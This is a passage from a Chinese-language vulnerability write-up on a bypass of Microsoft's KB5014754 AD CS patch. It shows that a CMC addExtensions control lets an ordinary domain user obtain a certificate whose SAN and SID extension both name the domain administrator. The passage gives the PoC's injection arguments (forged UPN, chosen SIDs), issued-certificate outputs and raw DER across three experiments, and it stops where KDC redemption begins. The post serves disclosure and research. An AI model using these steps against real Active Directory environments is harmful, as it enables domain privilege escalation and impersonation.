0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">CA 携带了正常工作的 KB5014754 策略模块。</span></strong><span leaf="">这个版本才重要，因为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">certpdef.dll</span></code><span leaf="">——而非 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">certca.dll</span></code><span leaf="">——才是执行 SID 标记的模块（第二部分走过了反汇编）：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">certpdef.dll  10.0.17763.6893   &lt;- 执行 SID 标记的模块</span><br/><span leaf="">certsrv.exe   10.0.17763.8385</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我不要求你信任一个版本字符串。标记在这个 CA 上</span><strong><span leaf="">确实在运行</span></strong><span leaf="">：将同样的注入指向一个</span><em><span leaf="">非</span></em><span leaf="">注册者自行提供主体的模板（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Machine</span></code><span leaf="">），CA 就会用请求者的真实 SID 覆盖我注入的 SID（见下文）。防御存在且有效——CMC-ADDEXT 专门在注册者自行提供主体的路径上绕过了它。这比一个版本号难推脱得多，而且这才是真正重要的证据。</span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="margin: 0px;"><span leaf="">一条注记，因为我在初稿中搞错了：不要用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">certca.dll</span></code><span leaf="">的文件版本来证明&#34;已打补丁&#34;。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">certca.dll</span></code><span leaf="">只解析名称，从不写入 SID 扩展（第二部分）。它的版本号对被测试的防御是否存在没有任何指示意义。Windows 对这些组件 DLL 的版本标记也很奇怪——</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">FileVersion</span></code><span leaf="">字符串资源可能显示 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">10.0.17763.1</span></code><span leaf="">，而真正的服务版本在数字字段中——所以引用数字版本，更好的做法是证明行为。</span></p></blockquote><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">这不是 ESC6。</span></strong><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EDITF_ATTRIBUTESUBJECTALTNAME2</span></code><span leaf="">（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">0x40000</span></code><span leaf="">）未设置——</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EditFlags</span></code><span leaf="">为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">0x11014e</span></code><span leaf="">。这不是 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">san:</span></code><span leaf="">请求属性的把戏。SAN 通过 CMC 控制注入，在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">certsrv.exe</span></code><span leaf="">层，在任何 EditFlags 逻辑运行之前。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">模板 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">VulnTemplate</span></code><span leaf="">是一个普通的 ESC1 模板：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">msPKI-Certificate-Name-Flag : 1   (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT)</span><br/><span leaf="">                                   CT_FLAG_SUBJECT_ALT_REQUIRE_UPN 未设置</span><br/><span leaf="">msPKI-RA-Signature          : 0   (不需要注册代理签名)</span><br/><span leaf="">pKIExtendedKeyUsage         : 1.3.6.1.5.5.7.3.2  (客户端认证)</span><br/><span leaf="">                              1.3.6.1.5.5.7.3.1  (服务器认证)</span><br/><span leaf="">DACL                        : Domain Users -&gt; Enroll</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">是的，这就是 ESC1。补丁的意义就是让</span><em><span leaf="">这个模板</span></em><span leaf="">变得安全。那就来看看是不是。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">决定一切的三个实验</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">PoC（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">cmc_addext_poc.py</span></code><span leaf="">）手工构建 CMC：新建 RSA 密钥、一个带 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CN=CMC Test</span></code><span leaf="">的普通 CSR，然后是一个 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">id-cmc-addExtensions</span></code><span leaf="">控制携带我要嫁接的扩展，用自动注册的一次性证书签名，通过 MS-ICPR 提交。之后我用一个独立的脚本解析</span><em><span leaf="">已签发的</span></em><span leaf="">证书，因为我不信任 PoC 来给自己的作业打分，你也不应该。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">三次运行中唯一的变量是我注入了什么。整个论证就体现在那一列中。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">实验 A：伪造 SAN，不注入 SID</span></h3><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">--inject-upn administrator@silentstrike.io      (仅此一项)</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">已签发证书，RequestId 855，独立解析：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">SAN_UPN   = administrator@silentstrike.io</span><br/><span leaf="">NTDS_SID  = 不存在  (证书中完全没有安全扩展)</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">再读一遍。一台打过补丁的 CA，收到来自 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">cmctest</span></code><span leaf="">的请求，签发了一张</span><strong><span leaf="">完全没有 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">szOID_NTDS_CA_SECURITY_EXT</span></code><span leaf="">的证书。</span></strong><span leaf="">它没有标记我的 SID，也没有标记任何人的 SID。KB5014754 全部意义所在的那条扩展就是不在这里。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这是唯一重要的事实，也是微软结案声明中说不可能的事实。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">实验 B：伪造 SAN，注入一个不属于任何人的 SID</span></h3><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">--inject-upn administrator@silentstrike.io</span><br/><span leaf="">--inject-sid S-1-5-21-12494900-2147801102-4061876462-31337   (RID 31337，不存在此账户)</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">已签发证书，RequestId 858，独立解析：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">SAN_UPN   = administrator@silentstrike.io</span><br/><span leaf="">NTDS_SID  = S-1-5-21-12494900-2147801102-4061876462-31337   [ASCII]</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我要求的是 RID 31337，一个不存在的账户，证书出来就带着 RID 31337。CA 没有纠正它，也没有替换成 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">cmctest</span></code><span leaf="">的真实 RID 1135。它打印了我告诉它的任何东西。</span><strong><span leaf="">SID 字段完全由我控制。</span></strong></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在 A 和 B 之间，机械层面上案件已定论。在这条路径上 CA 不写入自己的 SID（A），且忠实地携带我交给它的任何 SID（B）。再也没有什么可以&#34;识别请求用户&#34;的了。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">实验 C：伪造 SAN，注入管理员的真实 SID</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">现在只需瞄准。administrator 的 UPN，administrator 的 SID。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">--inject-upn administrator@silentstrike.io</span><br/><span leaf="">--inject-sid S-1-5-21-12494900-2147801102-4061876462-500</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">已签发证书，RequestId 851，序列号 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">1e000003534a058e882dc84038000000000353</span></code><span leaf="">。安全扩展的原始字节，因为到这一步你应该看到真正的 DER：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">30 3d a0 3b 06 0a 2b 06 01 04 01 82 37 19 02 01</span><br/><span leaf="">a0 2d 04 2b 53 2d 31 2d 35 2d 32 31 2d 31 32 34</span><br/><span leaf="">39 34 39 30 30 2d 32 31 34 37 38 30 31 31 30 32</span><br/><span leaf="">2d 34 30 36 31 38 37 36 34 36 32 2d 35 30 30</span><br/><span leaf="">-&gt; SEQUENCE { [0] { OID 1.3.6.1.4.1.311.25.2.1 (szOID_NTDS_OBJECTSID)</span><br/><span leaf="">              [0] OCTET STRING &#34;S-1-5-21-...-500&#34; } }</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">解析结果：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">SAN_UPN   = administrator@silentstrike.io</span><br/><span leaf="">NTDS_SID  = S-1-5-21-12494900-2147801102-4061876462-500   [ASCII]</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">一张证书，由完全打过补丁的 CA 签发给 Domain Users 的成员，其 SAN 写着 administrator，其 KB5014754 SID 扩展也写着 administrator。一对匹配的值。正是补丁存在所要阻止的伪造。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">兑现</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">KDC 只关心这一对是否一致。它是一致的。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 